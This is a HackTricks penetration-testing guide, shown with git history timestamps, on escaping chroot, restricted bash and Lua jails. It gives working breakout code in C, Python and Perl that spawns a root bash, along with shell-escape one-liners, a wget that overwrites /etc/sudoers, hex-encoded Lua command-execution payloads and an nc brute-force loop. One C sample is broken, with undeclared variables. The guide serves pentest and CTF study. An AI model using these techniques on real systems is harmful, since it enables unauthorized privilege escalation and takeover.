hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md

323 lines
11 KiB
Markdown
Raw Normal View History

2022-05-07 13:38:40 +00:00
# Escaping from Jails
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<summary>Support HackTricks</summary>
2024-02-02 12:27:26 +00:00
2024-07-18 16:03:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:03:34 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-07 13:38:40 +00:00
## **GTFOBins**
**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
## Chroot Escapes
From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
Usually this means that to escape you need to be root inside the chroot.
{% hint style="success" %}
The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.
{% endhint %}
### Root + CWD
{% hint style="warning" %}
If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.
This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
{% endhint %}
Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:
2021-01-06 16:24:33 +00:00
<details>
2021-01-06 16:24:33 +00:00
<summary>C: break_chroot.c</summary>
2021-01-06 16:24:33 +00:00
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
2022-04-05 22:24:52 +00:00
}
2021-01-06 16:24:33 +00:00
```
</details>
<details>
<summary>Python</summary>
2021-01-08 19:04:47 +00:00
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
2022-04-05 22:24:52 +00:00
os.system("/bin/bash")
2021-01-08 19:04:47 +00:00
```
</details>
<details>
<summary>Perl</summary>
2021-01-08 19:20:28 +00:00
```perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
</details>
### Root + Saved fd
{% hint style="warning" %}
This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.
{% endhint %}
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
```
</details>
### Root + Fork + UDS (Unix Domain Sockets)
{% hint style="warning" %}
FD can be passed over Unix Domain Sockets, so:
* Create a child process (fork)
* Create UDS so parent and child can talk
* Run chroot in child process in a different folder
* In parent proc, create a FD of a folder that is outside of new child proc chroot
* Pass to child procc that FD using the UDS
* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail
{% endhint %}
2024-04-06 16:25:58 +00:00
### Root + Mount
{% hint style="warning" %}
* Mounting root device (/) into a directory inside the chroot
* Chrooting into that directory
This is possible in Linux
{% endhint %}
### Root + /proc
{% hint style="warning" %}
* Mount procfs into a directory inside the chroot (if it isn't yet)
* Look for a pid that has a different root/cwd entry, like: /proc/1/root
* Chroot into that entry
{% endhint %}
### Root(?) + Fork
{% hint style="warning" %}
* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
* This children process will find himself outside of the chroot
{% endhint %}
### ptrace
{% hint style="warning" %}
* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}
2022-05-07 13:38:40 +00:00
## Bash Jails
2021-02-05 11:09:01 +00:00
2022-05-07 13:38:40 +00:00
### Enumeration
2021-07-05 07:02:25 +00:00
Get info about the jail:
```bash
echo $SHELL
echo $PATH
env
export
pwd
```
2022-05-07 13:38:40 +00:00
### Modify PATH
Check if you can modify the PATH env variable
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
2022-05-07 13:38:40 +00:00
### Using vim
2020-12-27 15:10:35 +00:00
```bash
:set shell=/bin/sh
:shell
```
2022-05-07 13:38:40 +00:00
### Create script
Check if you can create an executable file with _/bin/bash_ as content
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
2022-05-07 13:38:40 +00:00
### Get bash from SSH
If you are accessing via ssh you can use this trick to execute a bash shell:
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
2021-07-05 07:02:25 +00:00
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```
2022-05-07 13:38:40 +00:00
### Declare
2021-07-05 07:02:25 +00:00
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
2022-05-07 13:38:40 +00:00
### Wget
2021-01-06 16:24:33 +00:00
You can overwrite for example sudoers file
```bash
2022-04-05 22:24:52 +00:00
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
2021-01-06 16:24:33 +00:00
```
2022-05-07 13:38:40 +00:00
### Other tricks
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
2022-05-07 13:38:40 +00:00
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
2021-01-06 16:24:33 +00:00
**It could also be interesting the page:**
2024-04-06 16:25:58 +00:00
{% content-ref url="../bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../bypass-bash-restrictions/)
{% endcontent-ref %}
2022-05-07 13:38:40 +00:00
## Python Jails
2021-02-05 11:09:01 +00:00
Tricks about escaping from python jails in the following page:
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-02-05 11:09:01 +00:00
2022-05-07 13:38:40 +00:00
## Lua Jails
2021-02-05 11:09:01 +00:00
2021-11-30 16:46:07 +00:00
In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
2021-02-05 11:09:01 +00:00
2022-12-21 16:55:08 +00:00
**Eval with command execution:**
2021-02-05 11:09:01 +00:00
```bash
2021-02-09 12:19:42 +00:00
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
2021-02-05 11:09:01 +00:00
```
Some tricks to **call functions of a library without using dots**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Enumerate functions of a library:
```bash
for k,v in pairs(string) do print(k,v) end
```
Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:
2021-02-09 12:19:42 +00:00
```bash
debug.debug()
```
## References
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
2024-07-18 16:03:34 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<summary>Support HackTricks</summary>
2024-02-02 12:27:26 +00:00
2024-07-18 16:03:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:03:34 +00:00
{% endhint %}